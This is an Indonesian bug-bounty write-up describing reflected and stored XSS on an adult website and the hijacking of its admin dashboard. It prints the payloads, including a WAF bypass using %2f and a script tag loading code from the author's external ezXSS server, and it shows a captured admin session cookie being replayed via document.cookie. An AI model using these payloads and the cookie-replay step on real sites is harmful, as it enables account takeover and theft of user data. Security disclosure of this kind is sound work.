Mengintip Dashboard Admin Situs Haram

Akbar Kustirama · December 17, 2022

Kegiatan ini berawal dari salah satu teman yang memberi informasi bahwa dia baru saja mendapatkan bounty dari salah satu situs haram yang ada di luar sana. Singkat cerita, saya mencoba mencari peruntungan serupa dengan mencari situs sejenis di pencarian Google dengan harapan menemukan situs yang cukup “umum” yang secara fitur punya banyak bagian yang bisa saya coba untuk masuki.

Untuk mempermudah dan agar saya tidak perlu menyebut nama situsnya, mari kita sebut situs ini sebagai situsharam.com.

Mengintip Dashboard Admin Situs Haram

Setelah mencoba beberapa fitur seperti list actors/actress, kategori, pencarian, serta fitur yang membutuhkan autentikasi pengguna seperti edit profile, like, comment dan semacamnya, saya menemukan beberapa celah yang detailnya akan saya jelaskan di bawah ini.

Reflected XSS pada Halaman Pencarian

Celah pertama adalah Reflected XSS yang saya temukan di halaman pencarian. Payload yang saya gunakan adalah:

asd"><ScRiPt%20>alert(1);<%2fscript>

Saat mencoba, saya menemukan bahwa karakter / diblok oleh WAF sehingga saya coba untuk mem-bypass rule tersebut menggunakan karakter %2f. Dari temuan ini saya bisa menggunakan payload yang sudah disisipi script untuk mencuri cookie pengguna.

Pada kasus di dunia nyata, seorang penyerang akan menyisipkan javascript yang bertujuan untuk mencuri cookie pengguna dan beberapa data lain, lalu mengirimnya pada server penyerang.

Untuk melakukan ini, penyerang perlu mengirim URL (yang sudah disisipi payload) ke pengguna lain atau pemilik/admin dari situs ini. Lalu penyerang akan menggunakan data tersebut untuk masuk di situs target tanpa menggunakan username dan password.

Mengintip Dashboard Admin Situs Haram

Stored XSS pada Profile

Saya rasa kebanyakan bug bounty hunter (termasuk saya) akan mencoba memasukkan payload ke setiap form yang kami temui. Dengan modal “penting yakin”, saya mengisi "><h1>asdf</h1>" pada kolom nama di halaman Edit Profile.

Setelah menyimpan perubahan tersebut, kode HTML yang saya sisipkan dibaca oleh situs sehingga menandakan adanya potensi untuk Stored XSS.

Saya melanjutkan dengan memasukkan payload:

"><script src=//x.serversaya.com></script><x="
  • "> = digunakan untuk keluar dari input form (<input>)
  • <script src=//x.serversaya.com></script> = digunakan untuk memanggil script dari server saya (ezXSS)
  • <x=" = digunakan untuk membuka kembali hasil escape dari input form, sehingga tidak ada “ type=”text” dst seperti screenshot di atas

Setelah beberapa waktu menunggu, saya mendapat notifikasi bahwa payload di atas ditemukan di domain lain (cp.situslain.com) yang mana adalah dashboard admin dari situsharam.com. Berikut detail laporan dari ezXSS saat payload saya ditemukan di dashboard admin (klik gambar untuk memperbesar).

Mengintip Dashboard Admin Situs Haram

Pada tangkapan layar di atas, terlihat ada cookie admin yang tertangkap oleh kode javascript yang saya panggil. Saya akan mencoba menggunakan Cookie tersebut untuk masuk ke https://cp.situslain.com/user/edit/{userid}.

Ketika mengakses https://cp.situslain.com/user/edit/{userid}, saya dialihkan ke halaman login https://cp.situslain.com/user/login.

Mengintip Dashboard Admin Situs Haram

Selanjutnya saya mencoba set cookie manual melalui Console pada inspect element dengan cara memasukkan kode javascript. Cookie ini berasal dari laporan ezXSS di atas:

document.cookie = 'PHPSESSID=lot4#######################';

Setelah Cookie di-set, saya mencoba mengulang lagi dan akhirnya berhasil membuka halaman https://cp.situslain.com/user/edit/{userid}.

Mengintip Dashboard Admin Situs Haram

Disclaimer
Level dan Credit yang tertera pada screenshot adalah pemberian admin (apresiasi, menurut istilah sekarang) setelah saya melaporkan temuan ini. Proses pelaporan tidak akan saya jelaskan di sini, hehe.

Sekian artikel “Mengintip Dashboard Admin Situs Haram”. Semoga ada yang bisa dipelajari dari artikel ini, selain akhirnya kita tahu bentuk halaman dashboard admin situs haram. Sampai jumpa di artikel selanjutnya.

Twitter, Facebook